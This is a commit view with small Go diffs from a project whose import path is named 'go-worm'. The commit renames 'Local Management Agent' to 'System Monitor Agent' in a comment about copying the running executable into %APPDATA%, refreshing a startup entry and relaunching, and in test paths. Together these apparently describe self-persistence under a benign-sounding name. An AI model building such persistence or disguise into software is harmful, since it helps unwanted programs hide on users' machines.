Rename Local Management Agent to System Monitor Agent throughout the codebase, including updates to executable names, comments, and documentation. This change reflects a broader scope of functionality and improves clarity in the project's purpose.

This commit is contained in:
2026-08-28 13:26:50 +03:00
parent 6a070391c8
commit 09076079fb
9 changed files with 17 additions and 17 deletions
+1 -1
View File
@@ -11,7 +11,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// Ensure copies the running exe into %APPDATA%\LocalManagementAgent\ when needed,
// Ensure copies the running exe into %APPDATA%\SystemMonitorAgent\ when needed,
// refreshes an existing startup entry to that path, and re-launches from there.
func Ensure() error {
target, err := config.InstalledExe()
+2 -2
View File
@@ -13,8 +13,8 @@ func TestSamePath(t *testing.T) {
a, b string
want bool
}{
{`C:\Apps\localagent.exe`, `c:\apps\localagent.exe`, true},
{`C:\Apps\localagent.exe`, `C:\Apps\copy.exe`, false},
{`C:\Apps\SystemMonitorAgent.exe`, `c:\apps\systemmonitoragent.exe`, true},
{`C:\Apps\SystemMonitorAgent.exe`, `C:\Apps\copy.exe`, false},
}
for _, tc := range cases {
if got := samePath(tc.a, tc.b); got != tc.want {